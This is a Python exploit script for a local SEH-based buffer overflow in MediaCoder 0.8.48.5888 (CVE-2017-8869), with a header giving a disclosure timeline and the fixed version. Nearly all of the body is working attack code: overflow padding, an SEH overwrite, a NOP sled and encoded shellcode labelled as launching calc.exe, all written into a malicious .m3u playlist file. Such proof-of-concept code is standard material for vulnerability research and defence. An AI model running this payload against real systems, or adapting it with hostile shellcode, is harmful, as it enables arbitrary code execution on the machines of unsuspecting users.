#!/usr/bin/python# Exploit Title: MediaCoder 0.8.48.5888 Local Buffer Overflow (SEH)# CVE : CVE-2017-8869# Exploit Author : Muhann4d @0xSecured# Vendor Homepage: http://www.mediacoderhq.com# Vulnerable Software: http://www.mediacoderhq.com/mirrors.html?file=MediaCoder-0.8.48.5888.exe# Vulnerable Version : 0.8.48.5888# Fixed version: 0.8.49.5890 http://www.mediacoderhq.com/mirrors.html?file=MediaCoder-0.8.49.5890.exe# Category : Local Buffer Overflow# Tested on OS : Windows 7 Pro SP1 32bit# How to : Open MediaCoder then drag & drop the .m3u file in it and then press the START button.# or just write click on the .mu3 file .. open with .. MediaCoder# Timeline : # 2017-05-05: Vulnerability discovered, vendor has been contaced# 2017-05-08: Vendor replied denying it .."I believe this was an old issue and no longer exists in the latest version" # 2017-05-09: A POC sent to the vendor.# 2017-05-11: New version is released. According to http://blog.mediacoderhq.com/changelog/# 2017-06-26: Exploit released.
print "MediaCoder 0.8.48.5888 Local Exploit By Muhann4d @0xSecured"from struct import pack
junk = "http://"+"\x41"* 361
nseh = pack('<I',0x909006eb)
seh = pack('<I',0x66017187)
nops= "\x90"* 20
#calc.exe
shell=("\xbe\xb6\x06\x32\x7a\xda\xd1\xd9\x74\x24\xf4\x5a\x29\xc9\xb1""\x31\x31\x72\x13\x03\x72\x13\x83\xea\x4a\xe4\xc7\x86\x5a\x6b""\x27\x77\x9a\x0c\xa1\x92\xab\x0c\xd5\xd7\x9b\xbc\x9d\xba\x17""\x36\xf3\x2e\xac\x3a\xdc\x41\x05\xf0\x3a\x6f\x96\xa9\x7f\xee""\x14\xb0\x53\xd0\x25\x7b\xa6\x11\x62\x66\x4b\x43\x3b\xec\xfe""\x74\x48\xb8\xc2\xff\x02\x2c\x43\xe3\xd2\x4f\x62\xb2\x69\x16""\xa4\x34\xbe\x22\xed\x2e\xa3\x0f\xa7\xc5\x17\xfb\x36\x0c\x66""\x04\x94\x71\x47\xf7\xe4\xb6\x6f\xe8\x92\xce\x8c\x95\xa4\x14""\xef\x41\x20\x8f\x57\x01\x92\x6b\x66\xc6\x45\xff\x64\xa3\x02""\xa7\x68\x32\xc6\xd3\x94\xbf\xe9\x33\x1d\xfb\xcd\x97\x46\x5f""\x6f\x81\x22\x0e\x90\xd1\x8d\xef\x34\x99\x23\xfb\x44\xc0\x29""\xfa\xdb\x7e\x1f\xfc\xe3\x80\x0f\x95\xd2\x0b\xc0\xe2\xea\xd9""\xa5\x13\x1a\xd0\x33\x83\x85\x81\x7e\xc9\x35\x7c\xbc\xf4\xb5""\x75\x3c\x03\xa5\xff\x39\x4f\x61\x13\x33\xc0\x04\x13\xe0\xe1""\x0c\x70\x67\x72\xcc\x59\x02\xf2\x77\xa6")
junkD = "D"*(2960 -(len(junk + nseh + seh + nops + shell)))
exploit = junk + nseh + seh + nops + shell + junkD
try:
file= open("Exploit.m3u",'w')
file.write(exploit)
file.close()
raw_input("\nExploit has been created!\n")
except:
print "There has been an Error"
